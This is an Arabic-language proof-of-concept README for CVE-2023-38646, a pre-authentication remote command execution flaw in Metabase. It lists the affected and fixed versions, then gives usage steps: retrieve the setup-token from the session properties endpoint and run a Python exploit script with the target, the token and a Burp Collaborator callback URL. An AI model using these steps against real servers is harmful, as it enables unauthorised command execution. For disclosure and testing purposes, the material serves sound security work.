CVE-2023-38646 - ثغرة تنفيذ الأوامر عن بُعد قبل المصادقة في Metabase

تتيح نسخ Metabase مفتوحة المصدر قبل الإصدار 0.46.6.1 وMetabase Enterprise قبل الإصدار 1.46.6.1 للمهاجمين تنفيذ أوامر عشوائية على الخادم بصلاحيات الخادم. لا يتطلب الاستغلال مصادقة. الإصدارات الأخرى التي تم إصلاحها هي 0.45.4.1 و1.45.4.1 و0.44.7.1 و1.44.7.1 و0.43.7.2 و1.43.7.2.

خطوات إثبات المفهوم

1. انتقل إلى http://vulnerablehost.com/api/session/properties

2. حدد "setup-token"

3. احصل على رابط Collaborator (تم الاختبار باستخدام BurpSuite)

4. شغّل سكربت إثبات المفهوم باستخدام:

• -u - عنوان URL للهدف
• -t - رمز الإعداد
• -c - رابط Collaborator
• python3 CVE-2023-38646.py -u <target> -t <setup-token> -c <collaborator-url>

5. تحقق من وجود أي استدعاءات في Collaborator الخاص بك

المراجع

• https://www.metabase.com/blog/security-advisory
• https://blog.calif.io/p/reproducing-cve-2023-38646-metabase
• https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/